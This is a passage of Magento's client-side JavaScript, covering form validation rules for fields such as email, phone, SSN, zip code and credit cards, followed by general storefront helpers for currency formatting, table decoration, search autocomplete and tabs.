            var originalPosition = Position.cumulativeOffset(elm);

            advice._adviceTop = (originalPosition[1] + dimensions.height) + 'px';
            advice._adviceLeft = (originalPosition[0])  + 'px';
            advice._adviceWidth = (dimensions.width)  + 'px';
            advice._adviceAbsolutize = true;
        }
        return advice;
    },
    getElmID : function(elm) {
        return elm.id ? elm.id : elm.name;
    },
    reset : function(elm) {
        elm = $(elm);
        var cn = $w(elm.className);
        cn.each(function(value) {
            var prop = '__advice'+value.camelize();
            if(elm[prop]) {
                var advice = Validation.getAdvice(value, elm);
                if (advice) {
                    advice.hide();
                }
                elm[prop] = '';
            }
            elm.removeClassName('validation-failed');
            elm.removeClassName('validation-passed');
            if (Validation.defaultOptions.addClassNameToContainer && Validation.defaultOptions.containerClassName != '') {
                var container = elm.up(Validation.defaultOptions.containerClassName);
                if (container) {
                    container.removeClassName('validation-passed');
                    container.removeClassName('validation-error');
                }
            }
        });
    },
    add : function(className, error, test, options) {
        var nv = {};
        nv[className] = new Validator(className, error, test, options);
        Object.extend(Validation.methods, nv);
    },
    addAllThese : function(validators) {
        var nv = {};
        $A(validators).each(function(value) {
                nv[value[0]] = new Validator(value[0], value[1], value[2], (value.length > 3 ? value[3] : {}));
            });
        Object.extend(Validation.methods, nv);
    },
    get : function(name) {
        return  Validation.methods[name] ? Validation.methods[name] : Validation.methods['_LikeNoIDIEverSaw_'];
    },
    methods : {
        '_LikeNoIDIEverSaw_' : new Validator('_LikeNoIDIEverSaw_','',{})
    }
});

Validation.add('IsEmpty', '', function(v) {
    return  (v == '' || (v == null) || (v.length == 0) || /^\s+$/.test(v)); // || /^\s+$/.test(v));
});

Validation.addAllThese([
    ['validate-select', 'Please select an option.', function(v) {
                return ((v != "none") && (v != null) && (v.length != 0));
            }],
    ['required-entry', 'This is a required field.', function(v) {
                return !Validation.get('IsEmpty').test(v);
            }],
    ['validate-number', 'Please enter a valid number in this field.', function(v) {
                return Validation.get('IsEmpty').test(v) || (!isNaN(parseNumber(v)) && !/^\s+$/.test(parseNumber(v)));
            }],
    ['validate-digits', 'Please use numbers only in this field. Please avoid spaces or other characters such as dots or commas.', function(v) {
                return Validation.get('IsEmpty').test(v) ||  !/[^\d]/.test(v);
            }],
    ['validate-digits-range', 'The value is not within the specified range.', function(v, elm) {
                var result = Validation.get('IsEmpty').test(v) ||  !/[^\d]/.test(v);
                var reRange = new RegExp(/^digits-range-[0-9]+-[0-9]+$/);
                $w(elm.className).each(function(name, index) {
                    if (name.match(reRange) && result) {
                        var min = parseInt(name.split('-')[2], 10);
                        var max = parseInt(name.split('-')[3], 10);
                        var val = parseInt(v, 10);
                        result = (v >= min) && (v <= max);
                    }
                });
                return result;
            }],
    ['validate-alpha', 'Please use letters only (a-z or A-Z) in this field.', function (v) {
                return Validation.get('IsEmpty').test(v) ||  /^[a-zA-Z]+$/.test(v)
            }],
    ['validate-code', 'Please use only letters (a-z), numbers (0-9) or underscore(_) in this field, first character should be a letter.', function (v) {
                return Validation.get('IsEmpty').test(v) ||  /^[a-z]+[a-z0-9_]+$/.test(v)
            }],
    ['validate-alphanum', 'Please use only letters (a-z or A-Z) or numbers (0-9) only in this field. No spaces or other characters are allowed.', function(v) {
                return Validation.get('IsEmpty').test(v) ||  /^[a-zA-Z0-9]+$/.test(v) /*!/\W/.test(v)*/
            }],
    ['validate-street', 'Please use only letters (a-z or A-Z) or numbers (0-9) or spaces and # only in this field.', function(v) {
                return Validation.get('IsEmpty').test(v) ||  /^[ \w]{3,}([A-Za-z]\.)?([ \w]*\#\d+)?(\r\n| )[ \w]{3,}/.test(v)
            }],
    ['validate-phoneStrict', 'Please enter a valid phone number. For example (123) 456-7890 or 123-456-7890.', function(v) {
                return Validation.get('IsEmpty').test(v) || /^(\()?\d{3}(\))?(-|\s)?\d{3}(-|\s)\d{4}$/.test(v);
            }],
    ['validate-phoneLax', 'Please enter a valid phone number. For example (123) 456-7890 or 123-456-7890.', function(v) {
                return Validation.get('IsEmpty').test(v) || /^((\d[-. ]?)?((\(\d{3}\))|\d{3}))?[-. ]?\d{3}[-. ]?\d{4}$/.test(v);
            }],
    ['validate-fax', 'Please enter a valid fax number. For example (123) 456-7890 or 123-456-7890.', function(v) {
                return Validation.get('IsEmpty').test(v) || /^(\()?\d{3}(\))?(-|\s)?\d{3}(-|\s)\d{4}$/.test(v);
            }],
    ['validate-date', 'Please enter a valid date.', function(v) {
                var test = new Date(v);
                return Validation.get('IsEmpty').test(v) || !isNaN(test);
            }],
    ['validate-email', 'Please enter a valid email address. For example johndoe@domain.com.', function (v) {
                //return Validation.get('IsEmpty').test(v) || /\w{1,}[@][\w\-]{1,}([.]([\w\-]{1,})){1,3}$/.test(v)
                //return Validation.get('IsEmpty').test(v) || /^[\!\#$%\*/?|\^\{\}`~&\'\+\-=_a-z0-9][\!\#$%\*/?|\^\{\}`~&\'\+\-=_a-z0-9\.]{1,30}[\!\#$%\*/?|\^\{\}`~&\'\+\-=_a-z0-9]@([a-z0-9_-]{1,30}\.){1,5}[a-z]{2,4}$/i.test(v)
                return Validation.get('IsEmpty').test(v) || /^([a-z0-9,!\#\$%&'\*\+\/=\?\^_`\{\|\}~-]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z0-9,!\#\$%&'\*\+\/=\?\^_`\{\|\}~-]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*@([a-z0-9-]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z0-9-]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*\.(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]){2,})$/i.test(v)
            }],
    ['validate-emailSender', 'Please use only visible characters and spaces.', function (v) {
                return Validation.get('IsEmpty').test(v) ||  /^[\S ]+$/.test(v)
                    }],
    ['validate-password', 'Please enter 6 or more characters. Leading or trailing spaces will be ignored.', function(v) {
                var pass=v.strip(); /*strip leading and trailing spaces*/
                return !(pass.length>0 && pass.length < 6);
            }],
    ['validate-admin-password', 'Please enter 7 or more characters. Password should contain both numeric and alphabetic characters.', function(v) {
                var pass=v.strip();
                if (0 == pass.length) {
                    return true;
                }
                if (!(/[a-z]/i.test(v)) || !(/[0-9]/.test(v))) {
                    return false;
                }
                return !(pass.length < 7);
            }],
    ['validate-cpassword', 'Please make sure your passwords match.', function(v) {
                var conf = $('confirmation') ? $('confirmation') : $$('.validate-cpassword')[0];
                var pass = false;
                if ($('password')) {
                    pass = $('password');
                }
                var passwordElements = $$('.validate-password');
                for (var i = 0; i < passwordElements.size(); i++) {
                    var passwordElement = passwordElements[i];
                    if (passwordElement.up('form').id == conf.up('form').id) {
                        pass = passwordElement;
                    }
                }
                if ($$('.validate-admin-password').size()) {
                    pass = $$('.validate-admin-password')[0];
                }
                return (pass.value == conf.value);
            }],
    ['validate-url', 'Please enter a valid URL. Protocol is required (http://, https:// or ftp://)', function (v) {
                return Validation.get('IsEmpty').test(v) || /^(http|https|ftp):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(:(\d+))?\/?/i.test(v)
            }],
    ['validate-clean-url', 'Please enter a valid URL. For example http://www.example.com or www.example.com', function (v) {
                return Validation.get('IsEmpty').test(v) || /^(http|https|ftp):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+.(com|org|net|dk|at|us|tv|info|uk|co.uk|biz|se)$)(:(\d+))?\/?/i.test(v) || /^(www)((\.[A-Z0-9][A-Z0-9_-]*)+.(com|org|net|dk|at|us|tv|info|uk|co.uk|biz|se)$)(:(\d+))?\/?/i.test(v)
            }],
    ['validate-identifier', 'Please enter a valid URL Key. For example "example-page", "example-page.html" or "anotherlevel/example-page".', function (v) {
                return Validation.get('IsEmpty').test(v) || /^[a-z0-9][a-z0-9_\/-]+(\.[a-z0-9_-]+)?$/.test(v)
            }],
    ['validate-xml-identifier', 'Please enter a valid XML-identifier. For example something_1, block5, id-4.', function (v) {
                return Validation.get('IsEmpty').test(v) || /^[A-Z][A-Z0-9_\/-]*$/i.test(v)
            }],
    ['validate-ssn', 'Please enter a valid social security number. For example 123-45-6789.', function(v) {
            return Validation.get('IsEmpty').test(v) || /^\d{3}-?\d{2}-?\d{4}$/.test(v);
            }],
    ['validate-zip', 'Please enter a valid zip code. For example 90602 or 90602-1234.', function(v) {
            return Validation.get('IsEmpty').test(v) || /(^\d{5}$)|(^\d{5}-\d{4}$)/.test(v);
            }],
    ['validate-zip-international', 'Please enter a valid zip code.', function(v) {
            //return Validation.get('IsEmpty').test(v) || /(^[A-z0-9]{2,10}([\s]{0,1}|[\-]{0,1})[A-z0-9]{2,10}$)/.test(v);
            return true;
            }],
    ['validate-date-au', 'Please use this date format: dd/mm/yyyy. For example 17/03/2006 for the 17th of March, 2006.', function(v) {
                if(Validation.get('IsEmpty').test(v)) return true;
                var regex = /^(\d{2})\/(\d{2})\/(\d{4})$/;
                if(!regex.test(v)) return false;
                var d = new Date(v.replace(regex, '$2/$1/$3'));
                return ( parseInt(RegExp.$2, 10) == (1+d.getMonth()) ) &&
                            (parseInt(RegExp.$1, 10) == d.getDate()) &&
                            (parseInt(RegExp.$3, 10) == d.getFullYear() );
            }],
    ['validate-currency-dollar', 'Please enter a valid $ amount. For example $100.00.', function(v) {
                // [$]1[##][,###]+[.##]
                // [$]1###+[.##]
                // [$]0.##
                // [$].##
                return Validation.get('IsEmpty').test(v) ||  /^\$?\-?([1-9]{1}[0-9]{0,2}(\,[0-9]{3})*(\.[0-9]{0,2})?|[1-9]{1}\d*(\.[0-9]{0,2})?|0(\.[0-9]{0,2})?|(\.[0-9]{1,2})?)$/.test(v)
            }],
    ['validate-one-required', 'Please select one of the above options.', function (v,elm) {
                var p = elm.parentNode;
                var options = p.getElementsByTagName('INPUT');
                return $A(options).any(function(elm) {
                    return $F(elm);
                });
            }],
    ['validate-one-required-by-name', 'Please select one of the options.', function (v,elm) {
                var inputs = $$('input[name="' + elm.name.replace(/([\\"])/g, '\\$1') + '"]');

                var error = 1;
                for(var i=0;i<inputs.length;i++) {
                    if((inputs[i].type == 'checkbox' || inputs[i].type == 'radio') && inputs[i].checked == true) {
                        error = 0;
                    }

                    if(Validation.isOnChange && (inputs[i].type == 'checkbox' || inputs[i].type == 'radio')) {
                        Validation.reset(inputs[i]);
                    }
                }

                if( error == 0 ) {
                    return true;
                } else {
                    return false;
                }
            }],
    ['validate-not-negative-number', 'Please enter a valid number in this field.', function(v) {
                v = parseNumber(v);
                return (!isNaN(v) && v>=0);
            }],
    ['validate-state', 'Please select State/Province.', function(v) {
                return (v!=0 || v == '');
            }],

    ['validate-new-password', 'Please enter 6 or more characters. Leading or trailing spaces will be ignored.', function(v) {
                if (!Validation.get('validate-password').test(v)) return false;
                if (Validation.get('IsEmpty').test(v) && v != '') return false;
                return true;
            }],
    ['validate-greater-than-zero', 'Please enter a number greater than 0 in this field.', function(v) {
                if(v.length)
                    return parseFloat(v) > 0;
                else
                    return true;
            }],
    ['validate-zero-or-greater', 'Please enter a number 0 or greater in this field.', function(v) {
                if(v.length)
                    return parseFloat(v) >= 0;
                else
                    return true;
            }],
    ['validate-cc-number', 'Please enter a valid credit card number.', function(v, elm) {
                // remove non-numerics
                var ccTypeContainer = $(elm.id.substr(0,elm.id.indexOf('_cc_number')) + '_cc_type');
                if (ccTypeContainer && typeof Validation.creditCartTypes.get(ccTypeContainer.value) != 'undefined'
                        && Validation.creditCartTypes.get(ccTypeContainer.value)[2] == false) {
                    if (!Validation.get('IsEmpty').test(v) && Validation.get('validate-digits').test(v)) {
                        return true;
                    } else {
                        return false;
                    }
                }
                return validateCreditCard(v);
            }],
    ['validate-cc-type', 'Credit card number does not match credit card type.', function(v, elm) {
                // remove credit card number delimiters such as "-" and space
                elm.value = removeDelimiters(elm.value);
                v         = removeDelimiters(v);

                var ccTypeContainer = $(elm.id.substr(0,elm.id.indexOf('_cc_number')) + '_cc_type');
                if (!ccTypeContainer) {
                    return true;
                }
                var ccType = ccTypeContainer.value;

                if (typeof Validation.creditCartTypes.get(ccType) == 'undefined') {
                    return false;
                }

                // Other card type or switch or solo card
                if (Validation.creditCartTypes.get(ccType)[0]==false) {
                    return true;
                }

                // Matched credit card type
                var ccMatchedType = '';

                Validation.creditCartTypes.each(function (pair) {
                    if (pair.value[0] && v.match(pair.value[0])) {
                        ccMatchedType = pair.key;
                        throw $break;
                    }
                });

                if(ccMatchedType != ccType) {
                    return false;
                }

                if (ccTypeContainer.hasClassName('validation-failed') && Validation.isOnChange) {
                    Validation.validate(ccTypeContainer);
                }

                return true;
            }],
     ['validate-cc-type-select', 'Card type does not match credit card number.', function(v, elm) {
                var ccNumberContainer = $(elm.id.substr(0,elm.id.indexOf('_cc_type')) + '_cc_number');
                if (Validation.isOnChange && Validation.get('IsEmpty').test(ccNumberContainer.value)) {
                    return true;
                }
                if (Validation.get('validate-cc-type').test(ccNumberContainer.value, ccNumberContainer)) {
                    Validation.validate(ccNumberContainer);
                }
                return Validation.get('validate-cc-type').test(ccNumberContainer.value, ccNumberContainer);
            }],
     ['validate-cc-exp', 'Incorrect credit card expiration date.', function(v, elm) {
                var ccExpMonth   = v;
                var ccExpYear    = $(elm.id.substr(0,elm.id.indexOf('_expiration')) + '_expiration_yr').value;
                var currentTime  = new Date();
                var currentMonth = currentTime.getMonth() + 1;
                var currentYear  = currentTime.getFullYear();
                if (ccExpMonth < currentMonth && ccExpYear == currentYear) {
                    return false;
                }
                return true;
            }],
     ['validate-cc-cvn', 'Please enter a valid credit card verification number.', function(v, elm) {
                var ccTypeContainer = $(elm.id.substr(0,elm.id.indexOf('_cc_cid')) + '_cc_type');
                if (!ccTypeContainer) {
                    return true;
                }
                var ccType = ccTypeContainer.value;

                if (typeof Validation.creditCartTypes.get(ccType) == 'undefined') {
                    return false;
                }

                var re = Validation.creditCartTypes.get(ccType)[1];

                if (v.match(re)) {
                    return true;
                }

                return false;
            }],
     ['validate-ajax', '', function(v, elm) { return true; }],
     ['validate-data', 'Please use only letters (a-z or A-Z), numbers (0-9) or underscore(_) in this field, first character should be a letter.', function (v) {
                if(v != '' && v) {
                    return /^[A-Za-z]+[A-Za-z0-9_]+$/.test(v);
                }
                return true;
            }],
     ['validate-css-length', 'Please input a valid CSS-length. For example 100px or 77pt or 20em or .5ex or 50%.', function (v) {
                if (v != '' && v) {
                    return /^[0-9\.]+(px|pt|em|ex|%)?$/.test(v) && (!(/\..*\./.test(v))) && !(/\.$/.test(v));
                }
                return true;
            }],
     ['validate-length', 'Text length does not satisfy specified text range.', function (v, elm) {
                var reMax = new RegExp(/^maximum-length-[0-9]+$/);
                var reMin = new RegExp(/^minimum-length-[0-9]+$/);
                var result = true;
                $w(elm.className).each(function(name, index) {
                    if (name.match(reMax) && result) {
                       var length = name.split('-')[2];
                       result = (v.length <= length);
                    }
                    if (name.match(reMin) && result && !Validation.get('IsEmpty').test(v)) {
                        var length = name.split('-')[2];
                        result = (v.length >= length);
                    }
                });
                return result;
            }],
     ['validate-percents', 'Please enter a number lower than 100.', {max:100}],
     ['required-file', 'Please select a file', function(v, elm) {
         var result = !Validation.get('IsEmpty').test(v);
         if (result === false) {
             ovId = elm.id + '_value';
             if ($(ovId)) {
                 result = !Validation.get('IsEmpty').test($(ovId).value);
             }
         }
         return result;
     }],
     ['validate-cc-ukss', 'Please enter issue number or start date for switch/solo card type.', function(v,elm) {
         var endposition;

         if (elm.id.match(/(.)+_cc_issue$/)) {
             endposition = elm.id.indexOf('_cc_issue');
         } else if (elm.id.match(/(.)+_start_month$/)) {
             endposition = elm.id.indexOf('_start_month');
         } else {
             endposition = elm.id.indexOf('_start_year');
         }

         var prefix = elm.id.substr(0,endposition);

         var ccTypeContainer = $(prefix + '_cc_type');

         if (!ccTypeContainer) {
               return true;
         }
         var ccType = ccTypeContainer.value;

         if(['SS','SM','SO'].indexOf(ccType) == -1){
             return true;
         }

         $(prefix + '_cc_issue').advaiceContainer
           = $(prefix + '_start_month').advaiceContainer
           = $(prefix + '_start_year').advaiceContainer
           = $(prefix + '_cc_type_ss_div').down('ul li.adv-container');

         var ccIssue   =  $(prefix + '_cc_issue').value;
         var ccSMonth  =  $(prefix + '_start_month').value;
         var ccSYear   =  $(prefix + '_start_year').value;

         var ccStartDatePresent = (ccSMonth && ccSYear) ? true : false;

         if (!ccStartDatePresent && !ccIssue){
             return false;
         }
         return true;
     }]
]);

function removeDelimiters (v) {
    v = v.replace(/\s/g, '');
    v = v.replace(/\-/g, '');
    return v;
}

function parseNumber(v)
{
    if (typeof v != 'string') {
        return parseFloat(v);
    }

    var isDot  = v.indexOf('.');
    var isComa = v.indexOf(',');

    if (isDot != -1 && isComa != -1) {
        if (isComa > isDot) {
            v = v.replace('.', '').replace(',', '.');
        }
        else {
            v = v.replace(',', '');
        }
    }
    else if (isComa != -1) {
        v = v.replace(',', '.');
    }

    return parseFloat(v);
}

/**
 * Hash with credit card types wich can be simply extended in payment modules
 * 0 - regexp for card number
 * 1 - regexp for cvn
 * 2 - check or not credit card number trough Luhn algorithm by
 *     function validateCreditCard wich you can find above in this file
 */
Validation.creditCartTypes = $H({
//    'SS': [new RegExp('^((6759[0-9]{12})|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})|(6333[0-9]{12})|(6334[0-4]\d{11})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$'), new RegExp('^([0-9]{3}|[0-9]{4})?$'), true],
    'SO': [new RegExp('^(6334[5-9]([0-9]{11}|[0-9]{13,14}))|(6767([0-9]{12}|[0-9]{14,15}))$'), new RegExp('^([0-9]{3}|[0-9]{4})?$'), true],
    'SM': [new RegExp('(^(5[0678])[0-9]{11,18}$)|(^(6[^05])[0-9]{11,18}$)|(^(601)[^1][0-9]{9,16}$)|(^(6011)[0-9]{9,11}$)|(^(6011)[0-9]{13,16}$)|(^(65)[0-9]{11,13}$)|(^(65)[0-9]{15,18}$)|(^(49030)[2-9]([0-9]{10}$|[0-9]{12,13}$))|(^(49033)[5-9]([0-9]{10}$|[0-9]{12,13}$))|(^(49110)[1-2]([0-9]{10}$|[0-9]{12,13}$))|(^(49117)[4-9]([0-9]{10}$|[0-9]{12,13}$))|(^(49118)[0-2]([0-9]{10}$|[0-9]{12,13}$))|(^(4936)([0-9]{12}$|[0-9]{14,15}$))'), new RegExp('^([0-9]{3}|[0-9]{4})?$'), true],
    'VI': [new RegExp('^4[0-9]{12}([0-9]{3})?$'), new RegExp('^[0-9]{3}$'), true],
    'MC': [new RegExp('^5[1-5][0-9]{14}$'), new RegExp('^[0-9]{3}$'), true],
    'AE': [new RegExp('^3[47][0-9]{13}$'), new RegExp('^[0-9]{4}$'), true],
    'DI': [new RegExp('^6011[0-9]{12}$'), new RegExp('^[0-9]{3}$'), true],
    'JCB': [new RegExp('^(3[0-9]{15}|(2131|1800)[0-9]{11})$'), new RegExp('^[0-9]{4}$'), true],
    'OT': [false, new RegExp('^([0-9]{3}|[0-9]{4})?$'), false]
});

/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License (AFL 3.0)
 * that is bundled with this package in the file LICENSE_AFL.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/afl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Varien
 * @package     js
 * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
 */
function popWin(url,win,para) {
    var win = window.open(url,win,para);
    win.focus();
}

function setLocation(url){
    window.location.href = url;
}

function setPLocation(url, setFocus){
    if( setFocus ) {
        window.opener.focus();
    }
    window.opener.location.href = url;
}

function setLanguageCode(code, fromCode){
    //TODO: javascript cookies have different domain and path than php cookies
    var href = window.location.href;
    var after = '', dash;
    if (dash = href.match(/\#(.*)$/)) {
        href = href.replace(/\#(.*)$/, '');
        after = dash[0];
    }

    if (href.match(/[?]/)) {
        var re = /([?&]store=)[a-z0-9_]*/;
        if (href.match(re)) {
            href = href.replace(re, '$1'+code);
        } else {
            href += '&store='+code;
        }

        var re = /([?&]from_store=)[a-z0-9_]*/;
        if (href.match(re)) {
            href = href.replace(re, '');
        }
    } else {
        href += '?store='+code;
    }
    if (typeof(fromCode) != 'undefined') {
        href += '&from_store='+fromCode;
    }
    href += after;

    setLocation(href);
}

/**
 * Add classes to specified elements.
 * Supported classes are: 'odd', 'even', 'first', 'last'
 *
 * @param elements - array of elements to be decorated
 * [@param decorateParams] - array of classes to be set. If omitted, all available will be used
 */
function decorateGeneric(elements, decorateParams)
{
    var allSupportedParams = ['odd', 'even', 'first', 'last'];
    var _decorateParams = {};
    var total = elements.length;

    if (total) {
        // determine params called
        if (typeof(decorateParams) == 'undefined') {
            decorateParams = allSupportedParams;
        }
        if (!decorateParams.length) {
            return;
        }
        for (var k in allSupportedParams) {
            _decorateParams[allSupportedParams[k]] = false;
        }
        for (var k in decorateParams) {
            _decorateParams[decorateParams[k]] = true;
        }

        // decorate elements
        // elements[0].addClassName('first'); // will cause bug in IE (#5587)
        if (_decorateParams.first) {
            Element.addClassName(elements[0], 'first');
        }
        if (_decorateParams.last) {
            Element.addClassName(elements[total-1], 'last');
        }
        for (var i = 0; i < total; i++) {
            if ((i + 1) % 2 == 0) {
                if (_decorateParams.even) {
                    Element.addClassName(elements[i], 'even');
                }
            }
            else {
                if (_decorateParams.odd) {
                    Element.addClassName(elements[i], 'odd');
                }
            }
        }
    }
}

/**
 * Decorate table rows and cells, tbody etc
 * @see decorateGeneric()
 */
function decorateTable(table, options) {
    var table = $(table);
    if (table) {
        // set default options
        var _options = {
            'tbody'    : false,
            'tbody tr' : ['odd', 'even', 'first', 'last'],
            'thead tr' : ['first', 'last'],
            'tfoot tr' : ['first', 'last'],
            'tr td'    : ['last']
        };
        // overload options
        if (typeof(options) != 'undefined') {
            for (var k in options) {
                _options[k] = options[k];
            }
        }
        // decorate
        if (_options['tbody']) {
            decorateGeneric(table.select('tbody'), _options['tbody']);
        }
        if (_options['tbody tr']) {
            decorateGeneric(table.select('tbody tr'), _options['tbody tr']);
        }
        if (_options['thead tr']) {
            decorateGeneric(table.select('thead tr'), _options['thead tr']);
        }
        if (_options['tfoot tr']) {
            decorateGeneric(table.select('tfoot tr'), _options['tfoot tr']);
        }
        if (_options['tr td']) {
            var allRows = table.select('tr');
            if (allRows.length) {
                for (var i = 0; i < allRows.length; i++) {
                    decorateGeneric(allRows[i].getElementsByTagName('TD'), _options['tr td']);
                }
            }
        }
    }
}

/**
 * Set "odd", "even" and "last" CSS classes for list items
 * @see decorateGeneric()
 */
function decorateList(list, nonRecursive) {
    if ($(list)) {
        if (typeof(nonRecursive) == 'undefined') {
            var items = $(list).select('li')
        }
        else {
            var items = $(list).childElements();
        }
        decorateGeneric(items, ['odd', 'even', 'last']);
    }
}

/**
 * Set "odd", "even" and "last" CSS classes for list items
 * @see decorateGeneric()
 */
function decorateDataList(list) {
    list = $(list);
    if (list) {
        decorateGeneric(list.select('dt'), ['odd', 'even', 'last']);
        decorateGeneric(list.select('dd'), ['odd', 'even', 'last']);
    }
}

/**
 * Parse SID and produces the correct URL
 */
function parseSidUrl(baseUrl, urlExt) {
    sidPos = baseUrl.indexOf('/?SID=');
    sid = '';
    urlExt = (urlExt != undefined) ? urlExt : '';

    if(sidPos > -1) {
        sid = '?' + baseUrl.substring(sidPos + 2);
        baseUrl = baseUrl.substring(0, sidPos + 1);
    }

    return baseUrl+urlExt+sid;
}

/**
 * Formats currency using patern
 * format - JSON (pattern, decimal, decimalsDelimeter, groupsDelimeter)
 * showPlus - true (always show '+'or '-'),
 *      false (never show '-' even if number is negative)
 *      null (show '-' if number is negative)
 */

function formatCurrency(price, format, showPlus){
    precision = isNaN(format.precision = Math.abs(format.precision)) ? 2 : format.precision;
    requiredPrecision = isNaN(format.requiredPrecision = Math.abs(format.requiredPrecision)) ? 2 : format.requiredPrecision;

    //precision = (precision > requiredPrecision) ? precision : requiredPrecision;
    //for now we don't need this difference so precision is requiredPrecision
    precision = requiredPrecision;

    integerRequired = isNaN(format.integerRequired = Math.abs(format.integerRequired)) ? 1 : format.integerRequired;

    decimalSymbol = format.decimalSymbol == undefined ? "," : format.decimalSymbol;
    groupSymbol = format.groupSymbol == undefined ? "." : format.groupSymbol;
    groupLength = format.groupLength == undefined ? 3 : format.groupLength;

    if (showPlus == undefined || showPlus == true) {
        s = price < 0 ? "-" : ( showPlus ? "+" : "");
    } else if (showPlus == false) {
        s = '';
    }

    i = parseInt(price = Math.abs(+price || 0).toFixed(precision)) + "";
    pad = (i.length < integerRequired) ? (integerRequired - i.length) : 0;
    while (pad) { i = '0' + i; pad--; }

    j = (j = i.length) > groupLength ? j % groupLength : 0;
    re = new RegExp("(\\d{" + groupLength + "})(?=\\d)", "g");

    /**
     * replace(/-/, 0) is only for fixing Safari bug which appears
     * when Math.abs(0).toFixed() executed on "0" number.
     * Result is "0.-0" :(
     */
    r = (j ? i.substr(0, j) + groupSymbol : "") + i.substr(j).replace(re, "$1" + groupSymbol) + (precision ? decimalSymbol + Math.abs(price - i).toFixed(precision).replace(/-/, 0).slice(2) : "")

    if (format.pattern.indexOf('{sign}') == -1) {
        pattern = s + format.pattern;
    } else {
        pattern = format.pattern.replace('{sign}', s);
    }

    return pattern.replace('%s', r).replace(/^\s\s*/, '').replace(/\s\s*$/, '');
};

function expandDetails(el, childClass) {
    if (Element.hasClassName(el,'show-details')) {
        $$(childClass).each(function(item){item.hide()});
        Element.removeClassName(el,'show-details');
    }
    else {
        $$(childClass).each(function(item){item.show()});
        Element.addClassName(el,'show-details');
    }
}

// Version 1.0
var isIE = navigator.appVersion.match(/MSIE/) == "MSIE";

if (!window.Varien)
    var Varien = new Object();

Varien.showLoading = function(){
    Element.show('loading-process');
}
Varien.hideLoading = function(){
    Element.hide('loading-process');
}
Varien.GlobalHandlers = {
    onCreate: function() {
        Varien.showLoading();
    },

    onComplete: function() {
        if(Ajax.activeRequestCount == 0) {
            Varien.hideLoading();
        }
    }
};

Ajax.Responders.register(Varien.GlobalHandlers);

/**
 * Quick Search form client model
 */
Varien.searchForm = Class.create();
Varien.searchForm.prototype = {
    initialize : function(form, field, emptyText){
        this.form   = $(form);
        this.field  = $(field);
        this.emptyText = emptyText;

        Event.observe(this.form,  'submit', this.submit.bind(this));
        Event.observe(this.field, 'focus', this.focus.bind(this));
        Event.observe(this.field, 'blur', this.blur.bind(this));
        this.blur();
    },

    submit : function(event){
        if (this.field.value == this.emptyText || this.field.value == ''){
            Event.stop(event);
            return false;
        }
        return true;
    },

    focus : function(event){
        if(this.field.value==this.emptyText){
            this.field.value='';
        }

    },

    blur : function(event){
        if(this.field.value==''){
            this.field.value=this.emptyText;
        }
    },

    initAutocomplete : function(url, destinationElement){
        new Ajax.Autocompleter(
            this.field,
            destinationElement,
            url,
            {
                paramName: this.field.name,
                method: 'get',
                minChars: 2,
                updateElement: this._selectAutocompleteItem.bind(this),
                onShow : function(element, update) {
                    if(!update.style.position || update.style.position=='absolute') {
                        update.style.position = 'absolute';
                        Position.clone(element, update, {
                            setHeight: false,
                            offsetTop: element.offsetHeight
                        });
                    }
                    Effect.Appear(update,{duration:0});
                }

            }
        );
    },

    _selectAutocompleteItem : function(element){
        if(element.title){
            this.field.value = element.title;
        }
        this.form.submit();
    }
}

Varien.Tabs = Class.create();
Varien.Tabs.prototype = {
  initialize: function(selector) {
    var self=this;
    $$(selector+' a').each(this.initTab.bind(this));
  },

  initTab: function(el) {
      el.href = 'javascript:void(0)';
      if ($(el.parentNode).hasClassName('active')) {
        this.showContent(el);
      }
      el.observe('click', this.showContent.bind(this, el));
  },

  showContent: function(a) {
    var li = $(a.parentNode), ul = $(li.parentNode);
    ul.getElementsBySelector('li', 'ol').each(function(el){
      var contents = $(el.id+'_contents');
      if (el==li) {
        el.addClassName('active');
        contents.show();
      } else {
        el.removeClassName('active');
        contents.hide();
      }
    });
  }
}

Varien.DateElement = Class.create();
Varien.DateElement.prototype = {
    initialize: function(type, content, required, format) {
        if (type == 'id') {
            // id prefix
            this.day    = $(content + 'day');
            this.month  = $(content + 'month');
            this.year   = $(content + 'year');
            this.full   = $(content + 'full');
            this.advice = $(content + 'advice');
        } else if (type == 'container') {
            // content must be container with data
            this.day    = content.day;
            this.month  = content.month;
            this.year   = content.year;
            this.full   = content.full;
            this.advice = content.advice;
        } else {
            return;
        }

        this.required = required;
        this.format   = format;
        
        this.day.addClassName('validate-custom');
        this.day.validate = this.validate.bind(this);
        this.month.addClassName('validate-custom');
        this.month.validate = this.validate.bind(this);
        this.year.addClassName('validate-custom');
        this.year.validate = this.validate.bind(this);

        this.year.setAttribute('autocomplete','off');

        this.advice.hide();
    },
    validate: function() {
        var error = false, day = parseInt(this.day.value) || 0, month = parseInt(this.month.value) || 0, year = parseInt(this.year.value) || 0;
        if (!day && !month && !year) {
            if (this.required) {
                error = 'This date is a required value.';
            } else {
                this.full.value = '';
            }
        } else if (!day || !month || !year) {
            error = 'Please enter a valid full date.';
        } else {
            var date = new Date, curyear = date.getFullYear(), countDaysInMonth = 0, errorType = null;
            date.setYear(year); date.setMonth(month-1); date.setDate(32);
            countDaysInMonth = 32 - date.getDate();
